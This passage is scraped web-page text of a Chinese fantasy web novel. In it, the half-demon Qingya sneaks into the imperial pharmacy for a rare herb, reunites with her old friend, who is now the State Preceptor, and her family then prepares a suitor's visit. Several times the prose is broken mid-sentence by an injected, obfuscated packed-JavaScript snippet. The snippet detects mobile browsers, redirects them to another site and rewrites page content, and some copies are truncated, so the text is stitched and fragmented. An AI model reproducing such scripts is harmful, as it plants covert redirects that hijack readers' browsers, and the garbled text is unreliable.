RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14204594|138931||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这可真是市面上最难找的药,怎么就这么不巧,有没有其他方子?” “必须是白玉芝,”青崖道,“听说皇帝以前的头疾就是用这个药方治好的。” 在这个药方里,最重要也最难得的就是一种叫白玉芝的仙草灵药。 牡丹道:“皇宫里自然是什么药都有,国师要给皇上炼长生不老药,整个东莱国的珍贵药材恐怕都在他的炼丹房里。” 青崖眼神一亮:“国师炼丹房里有白玉芝?炼丹房在哪?” 牡丹惊道:“你吃了熊心豹子胆,敢打国师炼丹房的主意?” 她看了一眼红鸾,见红鸾没有要劝阻的意思,就也镇定下来,起身走向床边的多宝阁,从暗格中抽出一张一尺见方的绢布,回到她们围坐的案几前铺开。 青崖低头一看,那居然是一张皇宫地图,各个宫殿大小方位,侍卫防守,术士阵法范围,标注得十足详尽。 “……我早就想问了,牡丹姐,你真的只是开舞楼的吗?从哪弄到这么多秘密消息的?” 往年牡丹寄到槐谷的年度要事记录总有厚厚一叠,里面的消息从民间到宫廷,从四海到京都,五花八门应有尽有。虽然不算特别机密,但要多处收集,也需花费不少心力。那些也就罢了,可皇宫地图该是相当机密的东西,牡丹是怎么得来的? 在来京城之前,青崖对牡丹的认知仅停留于红鸾的讲述中。在与红鸾讲述的过往中,牡丹还是一个脆弱的女子,她容貌被毁,无依无靠,多亏红鸾安慰照拂才振作起来。而今来到京城,她们姐弟三人事事都离不开牡丹帮忙,感谢之余,不由得对牡丹又敬又佩。 算起来,牡丹容貌被毁时十九岁,从火海中重生,已是二十三年前的事。 牡丹面对她的问题快意地笑了一下,她今日没戴面纱,却戴了半面金色面具,藏在面具后的双眸如秋水。 “能帮到你们就好。”她指着皇宫地图给她们介绍各宫殿的位置。 这张地图并不陌生,在以前牡丹寄给到槐谷的东西里也有这张地图。那时青崖只看了一下东宫在哪里,别的都没注意,现在才又对着这张地图仔细研究起来。 京城有两道墙,一道是城墙,一道是宫墙。 宫墙里面占地最大的两个宫殿是长乐宫和未央宫。长乐宫就是东宫,如今太子居住的地方。青崖早想偷偷去看望哲远,介于皇宫宫殿有术士与结界,她无法进入,只能望洋兴叹。 这张地图与牡丹几年前寄给她们的略有不同,在这张上面,皇宫宫殿西侧,原来什么都没有的地方,圈出了一块与未央宫大小相似的方形。 牡丹指着那块地方道:“这是未来的永寿宫,国师的炼丹房、药房和起居处在永寿宫北侧,是以前的术士在位时就建好的。永寿宫南侧就是将要修建的修仙阁,那里还没有完全被宫墙围住,最近修仙阁开工,有好多监工和工匠在场,附近来来往往的人估计不少。” 也就是说,要去国师的炼丹房,不必从防守森严的的皇宫正面进入。 红鸾目光停留在地图上永寿宫的南侧,“皇帝身边几乎时时都有术士保护,那国师身边呢?有没有专门保护国师的术士?” “国师自己就会仙法,自然不需要术士保护。”牡丹道,“而且国师与汤固不合,几乎排斥所有术士。有一次一个术士在他炼丹房窗外偷看,被他斥责偷窥天机,告到陛下面前,那个术士立即就被贬到边关去了。从那以后,除非皇上驾临,否则他的丹房周围都不允许有诛邪司术士靠近。” 青崖在心中盘算,如果能进入国师的炼丹房,也许就能近距离见到国师。前两次看到他时距离都太远了,始终不敢确信他就是长山,若能近距离看看…… 她激动地站起,堂而皇之道:“咱们就去国师的药房找药吧,得抓紧解决芊芊父亲的头疾,这样才能解决小狼的婚事,咱们也能早点带芊芊一起回槐谷去!” 这话说得不假,她想见长山的心思也昭然若揭。两位姐姐对视一眼,彼此交换了一个无可奈何的眼神。 55. 报之以琼瑶7 初一,月黑风高。 以青崖的身法,只需借助一把铁钩,再高的墙也拦不住她。红鸾就更为轻松,只要化作红鸟,但凡没有术士与术士的阵法结界的地方,天上地下,畅通无阻。 尚在修建的永寿宫正好符合潜入条件。 在永寿宫侧墙中段,青崖趴在墙头,被北侧有许多火把照亮的地方吸引了视线。那边就是将要修建修仙阁的地方,一批工匠正连夜赶工,在地上挖出的一个大坑里忙碌,周围堆着许多巨木与土石。 往南侧看,一眼就看到了一个八角形二层建筑。 青崖跳下墙,无声无息地贴着墙根往南侧挪动,红鸾也默契地扇动翅膀,飞向八角建筑。 路上偶有提着灯笼的宫人与侍卫来往,她就屏着呼吸躲在暗处,如此走走停停,终于距离国师的地盘越来越近。 红鸾先一步飞到八角楼阁,围着建筑飞了一圈,回到青崖藏身的假山石旁,化出原形,道:“的确是炼丹房,且有术士结界。” “啊?”青崖心中一凉,“他不是和术士不和吗,怎么会有术士设下的结界?” 术士的结界专门防妖,她们无法穿过。 红鸾道:“毕竟炼制出的丹药是给皇上吃的。” 青崖竖起耳朵仔细聆听,八角建筑中透出明亮的暖黄色灯火,却没有任何人语声,无法判断国师是否在里面。 “不管这里了,”青崖道,“炼丹房里有火,不便长期储存药物,药房应该在其他地方,咱们先去药房看看。” 药材需存放在阴凉干燥处,这还是长山曾给她说过的。 青崖弓着腰悄悄移动,远远就能通过宫人的呼吸和脚步声,判断他们的方位和走向,数量不多,趁着如墨夜色,可以轻松避过。另外还有红鸾在半空俯瞰四周,帮她指路,更减少了被发现的可能。 为了避免有什么隐藏的机关,一人一鸟动作都又轻又慢,不敢唐突,从八角楼阁,到另一座长方形建筑用了足有一刻钟的工夫。 这长方建筑只有一层,正门匾额上写着“无念堂”,门口有两个宫人看守,堂中没有点灯,黑漆漆的。 青崖躲到一棵距离无念堂不足十步的松树后面,示意红鸾先靠近查看一下,红鸾却化出人形停在距离更远的树后,眼里略带惊讶地示意青崖回她那边去。 “怎么了?”青崖挨过去问道。 “你怎么过去的?”红鸾语气中有些意外。 “悄悄走过去的呀?” 红鸾凝眉:“你没感受到结界?” “结界?在哪里?” 红鸾指了指她们当前藏身的松树和青崖刚才所在的树,道:“就在这两棵树之间,应该就是这个无念堂的结界了。” “有吗?”青崖回想了一下方才移动过去又移动回来的过程,“我什么都没感觉到,术士的结界应该是什么感觉?” “……过不去的感觉。像一堵穿不透的软墙,我就过不去。” 青崖几乎笑出声来:“难道说,因为我是个半妖,所以术士的结界对我不起作用?我再去试试。” 说完她迫不及待回到刚才那棵距离无念堂更近的树下,果然畅通无阻,毫无异感。红鸾也再次尝试过去,但挪了两步,就被挡在中途,只能躲回那棵距离较远的树下。 这下青崖确定了,术士的结界——至少是对这座无念堂所设的结界,能拦住姐姐那样的妖,却拦不住自己这样的半妖。 半妖体质修炼困难,她到现在都还没修出内丹。直到今日,她第一次为自己的特殊体质感到庆幸,用口型对红鸾道:“我过去看看。” 她悄悄移到无念堂背面,那里有两扇开着的窗,从窗里透出熟悉的药香混合着浓郁灵气。 这里并非灵脉附近,灵气浓郁只能是因为里面有许多仙草灵药囤积。 红鸾化作红鸟飞到半空,帮她关注着无念堂周围的动静。 青崖猫腰来到窗下侧耳细听,无念堂里静悄悄,一个人也没有。她从窗户探头往里偷窥,第一个窗子对着的屋子像是一个书房,没有点灯,漆黑一片。她翻窗进去,推了一下书房的门发现推不开,只好返回窗边,准备跳出,一回头,在窗边的墙上看到一个东西,吓得差点惊叫出声。 骷髅! 一具半人多高的完整骷髅! 就在窗侧的墙上!隐藏在黑暗里! 青崖紧咬牙关把一声惊呼咽进肚子里,与那骷髅空洞的眼眶对视片刻,发现那骷髅是静止不动的,勉强定了定神。 如此文雅的书房中怎会悬挂一个骷髅? 她鼓起勇气走近细看,这才松了口气。 原来那并不是真的骷髅,而是一幅骷髅图。只因画得栩栩如生,且环境昏暗,所以让她一眼以为是真的骷髅。 可恶。什么怪人会在书房里挂一张骷髅图?不怕招鬼么? 青崖带着心中的咒骂快速翻出窗去,等回到外面才后知后觉,那骷髅图似乎有几分眼熟? 因有要事在身,不便耽误时间回去细看,她只得来到第二扇窗,照旧先听动静,确认窗内没人才探头观望。只见这扇窗所对的是一个大房间,房间里,窗对面,一整面墙上密密麻麻都是一格一格的小抽屉,每个抽屉上都写着药名。她粗略估计了一下,这里至少有上千个小抽屉,几乎将一整面三丈长的墙壁占满,蔚为壮观。 “是这里,药房。”青崖转头用手势和口型对红鸾示意。 红鸟停在最高的树枝上,左右巡视一圈,点头表示周围安全,无人走近。 青崖原本希望能在炼丹房或药房遇见国师,如果他真是长山,说不定可以直接向他讨要一些白玉芝,红鸾却认为长山未必还能记得五年前的救命之恩,未能确认他如今的立场之前,不要与他碰面。至于白玉芝,还是靠她们自己找最好。 青崖从开始潜入时就心中忐忑,既希望遇见国师,又担心遇见国师,发现那不是长山,或者至少不再是她记忆中的长山。 不过这间药房现在没有点灯也没有人,谁也遇不到。她缓了口气,开始找药。由于光线昏暗,抽屉上的字迹又小,必须特别靠近才能辨认小格子上的药名。 抽屉墙的正中间,小格子们簇拥着一个大格子,大格子一人多高,上面敞开的格子上供奉着一个皇天上帝的金像,摆放的高度正好在人头顶。金像下面是开关门的方形柜子,柜子底部与腰齐高,柜门上雕刻着松树、灵芝、仙桃、鹿鹤、祥云等,华丽至极。柜子下面是三个与柜子同宽的大抽屉。 由于这里格局最与众不同,位置又在正中间,青崖一进屋就先打开柜门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14262188|138931||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 查看,偌大的柜子里只在底部放着一个巴掌大的金乌龟,乌龟从形状到花纹都细致生动,简直如同一只活乌龟被点金术变成了金乌龟。 青崖忍不住轻轻戳了一下小金龟的脑袋,随着咔哒一声清响,金龟脑袋偏了过去,青崖大惊,连忙往反方向戳了一下,还好,金龟脑袋又正了回来。 扫视一圈,这个柜子里除了这个不知做什么用的小金龟以外,再没有旁的东西。她不敢再乱碰,关上柜门,依次打开柜子下面的大抽屉搜索。 第一个抽屉里是三把不同大小的金秤,第二个抽屉里是五个不同材质的杵臼,第三个抽屉里是尺寸不一的玉质器皿,有碟、碗、杯等。 青崖叹了口气。果然还是得从这一千个小药抽屉里寻找白玉芝。 她走到抽屉墙最东侧,一边立起耳朵关注周围的动静,一边自上而下一列一列在抽屉墙上寻找“白玉芝”三个字,抽屉本小,上面的字更小,常人在这种黑暗环境中几乎不可能看清任何字,得亏她眼力远超常人。饶是如此,摸黑辨认完十几列抽屉上的小字,还是感觉眼睛都要花了。 找到第二十列的时候,窗外传来两声熟悉的鸟鸣,声音一长两短。这是她与姐姐的暗号,意思是有两个人正在靠近。 青崖急忙从窗子翻出,回到无念堂外面的松树后,藏身等待。 红鸾悄然落在她身边,“怎样?找到了吗?” “没有,里面好多小抽屉,我在一个一个找,还没找完一半呢。是什么人来了?” “两个太监。” 无念堂里响起脚步声,果然是两个人,他们走进药房,关上药房的窗,点亮药房的烛火。两人没有交谈,点亮烛火后就回到前堂门口去守着了。 红鸾道:“估计有人要来,你再进去小心点,准备好随时出来。” 青崖待那二人在前堂门口站定后,再次摸到窗边,轻轻一拉,窗又开了,幸好那两人只是把窗合上,并没有从里面把窗锁住。 她再次翻窗进去,放下窗时袖口不小心在窗边挂了一下,好在并未发出任何声响。 这次有了烛光照明,辨认文字轻松许多。烛光照亮一整面红木抽屉,抽屉上的黄铜配件反射着点点烛光,使得这间药房更显豪华。 这大约是东莱国最庞大的一间药房了吧,真不愧是国师。 青崖赞叹着,继续一列一列快速扫视小抽屉上的药名,忽然目光一顿,停留在其中一个抽屉上。 在那个抽屉上,赫然写着:破晓。 是玉皇山顶,可以帮阿远解百忧散之毒的花。 “破晓”还是她应长山需要给那种花起的名字。五年前,在玉皇山顶,自己曾以花为杯,与长山、哲远、裴浩还有姐姐一起举杯敬日出。 隔了五年,看到那个药名出现在千百个小药抽屉中的一个上面,感觉有点奇妙。 窗外红鸟再次鸣叫示警,听暗号,这次来了六个人。 青崖慌忙收回视线,转身撤离,来到窗边准备跳出去,谁知一推之下竟然没有推开窗子,她加重手中力道,连推好几下也没能把窗打开,突然想起方才衣服曾在窗边挂了一下,怕是扯到了锁窗的机关。 窗外鸟鸣声变得急切,无念堂正门方向响起开门声,一队人迈着轻缓的脚步,朝药房走来。 56. 报之以琼瑶8 药房的出口只有门窗两处,从脚步声判断,若从门出去,只怕正好与来人面对面撞上,因此只能设法跳窗。 青崖一手不停试着推窗,另一只手在窗框上快速来回摸索,希望找到开窗机关,然而越是着急,越是什么也没找到。以她的力气,强行破窗出去自然不难,但若发出那么大的动静,必定会被人发现,之后想再进来找药就难了。 脚步声距离药房越来越近,青崖视线扫过抽屉墙,目光锁定最中间只放了一个小金龟的柜子,灵机一动。 打开柜门,抬腿跨步,跃进柜子,关上柜门。 里面的空间果然足以容纳一人藏身。 青崖在黑暗中敛气屏息,左腿支起,右腿弯曲半跪在柜子底部,全身蓄力,保持着一个方便随时发力冲出去的姿势。弯曲的右膝正好硌在小金龟上,她想也没想就把金龟抄起握在手中,拿起金龟才发现金龟底部还有一条粗铁链,铁链一端埋入金龟体内,另一端延伸至柜子底部的小洞里,不知牵动着什么机关,看来是防止金龟被盗的措施。 她正要放下那金龟,当啷一声轻响,外面的人推开药房的门,走了进来。 由脚步声可知,这一队人中进入药房的只有为首的两人,不妙的是这两个人一前一后恰好来到抽屉墙正中央,停在她藏身的柜前。 青崖握紧小金龟,再不敢乱动。 如果被发现,就只好硬冲,破窗出去。外面的守卫不多,靠宫墙也近,闯出去应该不难。 走在前面的人停在柜子外面,手按到了柜门上。 青崖连声呼惨,全身紧绷,准备等柜门一开,就冲出去。 伴随一阵小风,柜门悄然打开。 青崖与开门的人目光相撞。 伴随砰的一声,柜门猛然关上。 青崖左手在柜子的木板上撑稳,暂时不打算往外冲了。完全相反的用力方式让她的身体晃了一下,她小心翼翼微微抬手,没有让金龟底部的锁链发出声响。 开关门不过一瞬间,她震惊于外面开门那人的反应速度,更震惊的是,来人竟是长山。 由于关门速度过快,对方的身影几乎只在视野中闪现了一下,但这次距离如此之近,对方的反应又如此强烈,绝不会错,那人就是长山,他穿着国师的黑袍,确实也是国师。 以这样像见了鬼一样关门的速度来看,他一眼就认出了自己。 柜子里面回归黑暗。 柜子外面侧方一个比正常男声尖细一些的声音问道:“怎么了?” “我发现……” 这是久违了的,长山的声音。 他声音微顿,青崖的呼吸凝滞,紧紧捏着手中的小金龟。 “我发现我忘了默念祝词,”长山语气波澜不惊,甚至带着一点冷漠与倨傲。 “今日是什么特殊的日子吗?” “是。” “国师请。” “请公公后退几步,待我念完祝词后,方可取丹。” “是是是。” 侧面那公公退后了几步。 取丹?青崖看了一眼手里的小金龟,莫非这是一个存放丹药的容器? 外面默然许久,青崖听力专注到极致,可以清楚听到外面与她仅有一片木板之隔的两个人的呼吸与心跳声。 正前方长山的心跳极快,他在尽力控制自己的气息,让自己保持平稳。最后深吸一口气,再次打开柜门。 柜子四边将烛火照亮的室内框出一个方形,长山位于方形光线正中间。 青崖半蹲在柜子里,全身上下只有眼珠敢动,目光炯炯地盯着方形正中间的人影。 那个公公站在侧面。打开的柜门挡住了他的上半身,通过余光,可以看到柜门下边缘露出的公公的脚。 她答应过姐姐,除非确定长山可信,否则绝不贸然与长山相认。 但凡事总有意外。 青崖眼睛一眨不眨地盯着长山。 如果国师发现有妖擅闯皇宫……应该怎么做? 两人面对面,一站一蹲,视线齐高。这一次打开柜门,长山并没有与她对视,而是视线下垂,让旁人以为他在看柜子底部。 长山以前偏清瘦,现在肩膀明显厚实许多,加之一身绣着青松白鹤的玄袍本就华贵厚重,使他看起来雍容威严。 他的五官变化不大,只是原来文雅谦和的气质被一层冷峻覆盖,长眉与长须中间夹杂几缕银丝,不知是真的还是假的。他本有超越年龄的稳重,现在这身打扮,更多几分高深莫测、仙风道骨之感。 难怪别人能相信他是下凡的仙官。 青崖看着他朝自己右手的方向伸出手,手指在自己手背上轻点了两下,方恍然大悟,手指微松,让他取走了那个她钻到柜子里后一直握在手里的小金龟。 长山将金龟的脑袋与四足按特定顺序拨弄了几下,咔哒一声,埋入金龟腹内的锁链脱落,他将锁链放回柜子底部,面不改色地合上柜门。 原来金龟的脑袋与四足都暗藏机关。 整个过程长山都没有与她对视,若非能听到他如擂鼓般的心跳声,青崖简直要以为他没有看见自己。 “这是陛下今日的丹药,照旧睡前服用。”长山对那公公道。 “多谢仙长。明日洪公公开始当值,下半个月该他来请丹了。” “知道了。” 那公公捧着金龟离去,他带来的一队人也跟随离去。长山走到药房门口站立片刻,确认所有人都离开无念堂一段距离后,关上药房的门,回到抽屉墙最中央的柜子面前。 不知出于什么样的原因,他没有打开柜门。 他问:“你为什么会在这里?” 青崖想到自己五年来常常去那棵松树下等待,最终换来的是一个失约的木牌,不禁怒上心头。 “反正不是来找你的!” 她猛地推开柜门,跳出柜子。 谁知长山离柜门那么近,砰的一声,柜门拍在他脸上,拍得他后退了一步,疼得用手捂住鼻子,这一捂,把仙风道骨之姿都给捂丢了一半。 这绝非青崖的本意,她迟疑片刻,最终决定不道歉。左右屋里没有其他人,得先给姐姐报个平安。 她推了一下窗,和之前一样没能推开,也学着长山的平板语气道:“给我开窗。” 长山捂着鼻子,就像没听见她说话一样,只是看她。 青崖:“怎么,你不让我走,要把刚才的人叫来抓我么?” 长山缓缓走到窗边,在窗棂上一个极不显眼处轻轻一用力,拧开锁窗机关。 青崖探出头去,红鸟正焦急地在结界边缘盘旋不止,她嘟起嘴模仿了两声鸟叫,先短后长,意思是:平安,等我。 红鸟看到了同样站在窗边的长山,别了一下头,不再盘旋,停在高处的一根树枝上,短促鸣叫一声作为回复。 青崖转过身,重新面对长山,这一看吓了一跳,自己那一拍,竟给长山拍出了鼻血,他正拿着一方手帕给自己止血。 二人相对而立,静静看着彼此,一时谁也没有说话。 忽然,青崖二话不说撸起长山左臂的袖子,检查了一下他小臂,那里仍留着五年前被狼咬伤留下的疤痕。 确认完疤痕,她狠狠甩下长山的胳膊。 “明明就是你。你还认得我吗?” 长山用手帕堵住鼻血,默然片刻,道:“青崖姑娘。” 青崖抱臂冷笑:“呦,还记得我啊,我以为五年过去,你早就把我给忘了。” 长山:“……” 青崖:“我且问你,你是无名无姓,只叫临渊仙长吗?” 长山顿了一下,随即垂眸:“……嗯。” “你会施法降雨吗?” “……嗯。” “你是一百多岁的百岁老人吗?” “……嗯。” 长山再老成稳重有胡须,也与“百岁老人”毫不相干。他虽没有诚实回答,这样的反应,已算一种坦白。两人对视,青崖忽然忍不住嘴角抽动,撇开视线,强忍笑意,连带着长山也仿佛卸掉盔甲一般,卸掉了方才在那公公面前的冷峻之感,身上多了几分五年前的影子。 “荒唐,”青崖强行压下嘴角,“你是怎么骗过这里这么多人的啊?” 笑过之后,两人之间的距离感倏然消失,长山鼻血止住,收起手帕再面对她时,眉眼之间尽显柔和。 “这里的人没你这般通透聪明,所以好骗。” 青崖不忿:“我也很好骗,你说五年后来找我,我就信了。好不容易等到五年,只等到几句话,什么‘天涯路远,杂务缠身,无缘赴约,勿复相待。’你解释解释,那是什么意思?” 长山:“山高路远。” “什么?” “我刻的是‘山高路远’,不是‘天涯路远’。” “这是重点吗!”青崖生气得想大喊,却不得不压着声音,为了宣泄怨气,抬脚用脚尖朝长山膝下三寸猛踢了一下,那里痛觉最是强烈,长山猝不及防,一下就瘸了腿,痛得抽气,苦兮兮道:“你现在怎么这么爱动手?” 青崖想了想,五年前的确未曾这样,那时她对长山、哲远、裴浩都是客气有礼的,怎么现在重见第一面就打人两次,虽说第一次是误伤…… 这习惯多半是和小狼打闹打出来的。 与小狼打闹通常有来有往,小狼多数还能躲一躲,长山却是个不会武的文人,而且绝不会还手打她,结结实实挨下她一脚,腿上怕是要被踢紫了。 “啊,抱歉。”青崖道,“可能因为这五年里我和小狼总拌嘴打闹,实在是习惯动手了。” 长山揉腿的动作戛然而止,“小狼是谁?” “是……你先回答我的问题!”青崖又捡回怒气,“‘山高路远’和‘天涯路远’有什么区别?!你失约了!” “嘘,”长山道,“小声一点,这四周虽说人少,还是要以防万一。” 他张望了一下窗外,由于眼力不及青崖,看不到藏在暗处的红鸟,但还是对着窗外行了一礼,算是向红鸾打招呼,然后将青崖拉至屋角。 “我刻的字是‘山高路远’,绝对不会记错,因为我刻了好几块木牌,总是刻了扔,扔了又刻。 “去年我准备好受命当国师时,去了槐谷一次,本想与你当面解释,但是找不到你,只找到我们告别处多出来的那棵松树。 “我的时间有限,在那里徘徊三日,等不到你,只能离开。这中间的理由既不能随便写信告知,也不便让旁人传话,所以……就有了那个木牌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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青崖心中微动,故意凑得更近,长久地凝视他的侧颜。 长山轻叹:“青崖……嘶!” 青崖以极敏捷的手法,揪下了一根他的白胡须。 从手感判断,竟是坚韧稳固,完全像是从皮肉里长出来的。 “呀,竟然是真的!” 长山无奈望着她近在咫尺的脸,“是药物催生的。” “不难看。”终于迫使长山转回头正视自己,青崖心满意足,“只是像我爹那个年纪的人。” “……”长山顿了一下,问:“你为什么会来京城?” 青崖一拍手:“啊!差点忘了来药房的目的!我需要白玉芝,你这里有没有?” “你是来偷药的?” 青崖掏出一把金羽拍在桌上,“是买!我来买药给人治病!” “我没有要指责的意思,”长山道,“上好药物都被收集到宫中用来炼丹,以至于市面药材短缺,这本就不合理,你若需要,就算来取,也是取之有道。” 他轻车熟路走到一列抽屉前,找到上面写着“白玉芝”的小抽屉抽出来。 “你需要多少?” 青崖回忆药方,按药方需连续使用半个月,每日一支需15支,但为了保险起见…… “三十支。”青崖道。 长山点头:“我给你装六十支。” 药房有现成的牛皮纸与麻绳,长山从小抽屉里抓出两把白玉芝,数也没数,估计了一下就开始打包,他包的数量只多不少,几乎挖空了一个抽屉。 青崖不禁有些担忧:“这么珍贵的灵药,一下子少这么多,会不会被其他人发现?” “这里的药只要我说是我炼丹用了,无论消耗多少都没人追究。”长山把捆扎严实的纸包递给她,道:“白玉芝不算禁药,但也十分稀有,无论给谁用都莫要张扬,免得会有多事之人追究药材来源。” “多谢。”青崖接过药包装入乾坤袋。 五年前她还不敢在长山面前使用乾坤袋,现在当面使用,长山也毫无讶异神色,可见五年来见多识广,毕竟是能与妖配合装作自己会降雨的国师了。 窗外响起啾啾两声鸟鸣,是红鸾提示又有人来了。 长山道:“快走吧,这里实在危险,陛下随时都可能来,他身边随时都有术士护卫。代我向红鸾姐问好,从这沿着西侧宫墙灯火少,看守薄弱,你们可以从那里出去。” 青崖还有好多话想同长山说,想知道他这五年是怎么过的,也想让他知道自己这五年的等待,然而窗外鸟鸣急促,门外有脚步声越来越近,她只好离开。 一只脚踩到窗台上时,外面来人尚未打开无念堂的门,长山忽然拉住她快速问道:“小狼是谁?” “小狼?哦,我的同族,他与我相伴五年,是我很重要的人,就是他需要白玉芝,多谢你啦!”青崖转身,“我先走了,有空再来看你。” 她急着离开,没注意到长山听了这句话后浑身一僵。 望着青崖的黑色背影溶于夜色,消失在远处,长山站在药房的窗边,身影孤独而忧伤。 他对着青崖消失不见的方向,失神呢喃:“相伴五年,很重要的人……?” 57. 第 57 章 第二日清晨。 小狼坐在床边打了个哈欠,看着三位姐姐在几大箱衣服里挑挑拣拣,商议他今日该穿什么衣服。 “这件驼色的如何?” “太素了,不够华贵,得一看就是有钱人家的小公子才行。” “那这件呢?银白云纹大袖,够华贵吧?” “这件又太亮眼,过于引人注目也不好。” “这倒也是,而且他太黑了,不适合穿白色。这件呢?” …… 小狼又打了个哈欠。 好不容易等三个姐姐一起看中了一件翠微色提花长衫,他接过问:“确定是这件吗?” 牡丹道:“确定,这件肯定合适。” “……换前十几套衣服时你们也是这样说的。” “还不是为了让你给芊芊他家留个好印象,别啰嗦快去换。”青崖把他推到屏风后。 最终还是把牡丹拿来的三箱衣服试了个遍,红鸾看着一屋子男装施施然道:“还是第一套花青曲领衣最合适,就第一套吧。” 小狼:“……” 默默回屏风后换衣服。 “我真的不能一起去吗?”青崖道,“让小狼一个人去拜访芊芊父母太不放心了。” 红鸾道:“打架你还能帮点忙,拜见未来岳父母你能帮什么忙?你见过的的人能比小狼多几个?知道的礼节能比他多多少?” “让青崖姐一起去,”小狼在屏风后高声道,“就扮成我的丫鬟,走路扶着我,落座前给我擦坐席,没事跟在后面给我扇扇子。” 青崖把一件衣服高高抛起越过屏风丢在小狼头上,“想得美!” “你们两个放心,”牡丹笑着安慰,“我让季师傅的得力手下跟着他,那人是跟着季师傅走南闯北的,并非京中人,正好伪装成小狼的随从,随时照看。至于他的身份,与你们来京城路上应对盘问时的回答一模一样。这是第一次见面,只是以晚辈身份拜访,去说偶然结识芊芊,正好有芊芊父亲治病需要的灵药,愿意送药给她父亲治病,想来芊芊父母也不好意思询问太多。” “小狼,你要记得别在她家逗留太久,稍坐片刻就离开。日后再找机会拜访,慢慢在他父亲面前混个脸熟。等咱们备好聘礼找好媒人,就去求亲。” “知道啦牡丹姐!” 小狼换好衣服,红鸾选了个鲤鱼玉佩给他挂在腰间,帮他整理着衣服道:“从现在开始你就是青州林家的小公子,名叫林小狼,来京玩耍偶遇芊芊甚是投缘,先别提求娶芊芊的话,他们看到那么珍贵的灵药,自然会明白你对芊芊的心思。去了以后在人面前要稳重一点,别冒冒失失,不知道怎么办的时候就问问跟着你的随从。记着给你交代过说什么不说什么吧?” “记得记得。” 小狼个头比红鸾高,低头正好看到红鸾的眉梢。 “姐——” “嗯?” “我和芊芊幸好有你。” 红鸾给他抚平衣服,略带感慨:“有情人难得,何况异族之间,你与芊芊这么多年情意未变,我希望看到你们有个好结果。” “咳、咳。”青崖故意响亮地清咳两声。 小狼歪头看向她,“知道啦,也幸好有你,还有你,牡丹姐。” 青崖把装着白玉芝的盒子递给他,“有进步,知道说谢谢了。” 为了不过于显富,也为了日后有持续拜访芊芊家的理由,盒子里的白玉芝只有长山赠送的的五分之一的量,剩下的等以后拜访再送。 “还有这个别忘了用。”牡丹把伪装成普通胭脂的隐灵膏放在小狼手中,看着他涂到手腕上。 小狼带着白玉芝与他的“随从”一起去拜访芊芊家,与此同时,三个姐姐也没有闲着,一起为他去挑选将来作为聘礼的宅院。 牡丹在京多年家大业大,明里暗里有不少店铺田庄,她们首先去看的是牡丹本有的几处闲置宅院。 红鸾的意思是宅院不必过大,芊芊家人口不多,主要是选址要好。眼前这个宅院位于京城西侧,红砖青瓦,绿树成荫,小巧别致,正是这样一处宅院。红鸾满意地四处察看着宅院布局,不时点头。 青崖不懂宅院好坏,这种事有姐姐操办,用不着她费心。她心不在焉跟在姐姐身后,脑子里想的全是长山的事情。 昨晚她从皇宫回去后,将这五年牡丹寄到槐谷的年度要闻记录熬夜翻了一遍,把所有与长山,也就是现在的国师有关的信息都挑出来重点查阅。 牡丹发现她一副有心事的样子,慢走了几步,离开红鸾挨到她身边问:“小姑娘在想什么呢?” 国师就是青崖五年前认识的药师朋友,这一点牡丹已经知道了。她也立刻猜出是有灵族与他配合帮他降雨。 红鸾总是疑心凡人,对牡丹却推心置腹什么都说。青崖也渐渐把牡丹当作一个知心前辈。 “牡丹姐,我最近逛京城听了不少故事,再结合你以前寄给我们的要闻记录,总结了几条近几年的京城局势变化,你帮我听听是否正确?” “京城局势?你怎么开始关注这些?” “我又不是小狼,没心没肺就惦记着一个芊芊。” 牡丹笑道:“唔,不枉你比小狼年长几岁,你说吧,我听听。” “第一,”青崖点着手指,“最近几年,《禁药令》限制的用药越来越少,几乎全部常用药,百姓都可以随意使用了,是吗?” “没错。” “也是最近几年,皇帝头疾被治愈后,性情变得温和,取消了许多死罪条例,还取消了连坐制度?” “确实如此,以前死罪条例有上千条,现在减少了一大半。” “最近几年,因为风调雨顺,年年丰收,不仅没有过饥荒,而且粮仓十分充盈?” “没错。以前最怕旱灾,而现在有了那位国师,他总能及时到干旱处降雨。” “皇帝后宫佳丽无数,几乎年年都有新的子嗣,但最近几年却一无所出?” “没错……嗯?”牡丹偏头看着青崖,“这件事和前面几条也有关联吗?” 就算皇帝看起来似乎不到四十岁,但天下人都知道,皇帝实际已有五十出头,这个年纪的人不再有新生子嗣是再正常不过的事,并不会因此多想。 “我没说有关联啊,”青崖背过手若无其事道,“想起来了,一起问问,这几年上上下下的变化真不小嘛。” 牡丹混迹京城多年,又专门给红鸾搜集各种情报,思维何其敏感,只看青崖不欲明说,她心里有所猜测,但也不再追问。 青崖摸着随身的锦囊,里面有剩余不多的隐灵膏。“这个药快用完了,剩下不多的量得尽量留给小狼用,他得时不时到芊芊家去露露脸,我和姐姐就得少出门了,没有这个,我们回去都不方便乘马车走官道。送你这隐灵膏的楚公子什么时候回京?” “快了,我去他家打听过,他有家信寄回京城,说他半月之内一准回京。” 青崖总怀疑这个隐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 